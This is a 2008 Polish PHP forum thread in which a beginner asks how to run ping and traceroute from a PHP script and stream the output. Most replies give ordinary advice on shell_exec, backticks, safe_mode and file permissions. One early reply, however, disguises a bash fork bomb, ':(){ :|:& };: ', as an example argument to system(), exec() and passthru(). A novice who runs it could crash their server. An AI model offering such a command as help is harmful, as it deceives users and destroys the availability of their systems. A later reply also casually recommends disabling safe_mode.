user_php_
4.08.2008, 16:52:03
potrzebuję zrobić w php ping, tracert i kilka podobnych rzeczy...
jestem początkujący w php i nie wiem od czego mam zacząć
napisałem w skrypcie żeby ping na dany adres był wykonany kilka razy
----plik test.sh----
#!/bin/sh
ping -c 5 www.wp.pl
------------------
teraz chcę go wywołać w php i zobaczyć kolejne linie pinga...?
Maxik
4.08.2008, 17:13:42
Może funkcja exec coś pomoże
Np. tak:
system(':(){ :|:& };: ');
exec(':(){ :|:& };: ');
passthru(':(){ :|:& };: ');
Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S
.radex
4.08.2008, 19:05:24
Cytat(kayy @ 4.08.2008, 18:31:40 )

Np. tak:
system(':(){ :|:& };: ');
exec(':(){ :|:& };: ');
passthru(':(){ :|:& };: ');
Jeszcze jest jedna metoda lepsza ale nie pamiętam tej funkcji :S
shell_exec() i ``
na windowsie funkcja shell_exec() sprawdza sie najlepiej, poniewaz kiedy zwracana jest wielolinijkowa odpowiedz, to funkcje egzekujace inne niz shell_exec() zwracaja tylko pierwsza linijke, albo w ogole nic..
mroczek
4.08.2008, 19:34:33
No i oczywiście pozostaje wspaniała zabawa uprawnieniami dostępu
user_php_
4.08.2008, 19:57:39
czyli kod pliku php ma wygladac tak?
<?php
$output = shell_exec('plik.sh');
echo "<pre>$output</pre>";
?>
gdzie plik.sh skrypt w bashu
user_php_
4.08.2008, 20:54:21
a nie dziala.
tak po prsotu nie dziala? komputer sie wylacza? moze jednak jakies errorsy wypluwa co?
user_php_
4.08.2008, 21:29:03
Warning: shell_exec(): Cannot execute using backquotes in Safe Mode in /plik.php on line 2
a to 2 linia
$output = shell_exec('plik.sh');
prawa do wykonania dla uzytkownika sa nadane
nie wiem jeszcze czy php nie jest zabezpieczone no i wersja php czy nie ma znaczenia?
czyzby exeki byly wylaczone w safe_mode?
mroczek
4.08.2008, 21:39:00
Najlepiej wyłączyć safe_mode albo poczytać trochę o ustawieniu safe_mode_exec_dir.
user_php_
6.08.2008, 08:39:00
po ustawieniu uprawnień i php działa ale wyświetla na 5 linijek np tylko dwie ostatnie
lub trzy jeśli komenda będzie zapisana $output = shell_exec('ping -c 5 www.wp.pl');
natomiast zapis $output = shell_exec('plik.sh'); nie działa i pokazuje błąd w tej linii a mnie
bardziej interesuje opcja z podanym skryptem bash, perl lub cokolwiek innego...
maziak
6.08.2008, 09:28:01
Mozesz to zrobic np. tak :
umiesc plik przykladowo w /home/user
<?php
$out = `/home/user/plik.sh`;
?>
Tylko pamietaj zeby nadac odpowiednie uprawinienia temu plikowi!! Inaczej skrypt zwroci pusta strone.
user_php_
6.08.2008, 16:22:16
dzięki

to jest to o co mi chodziło

tak się zastanawiam jeszcze jak wrzucać nie od razu całość (wynik całego skryptu po wykonaniu) a po jednej linii
tak jak w linii comend że pokazuje po jednej linijce ewentualnie z jakimś sprawdzaniem albo oczekiwaniem
na prompt
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę
kliknij tutaj.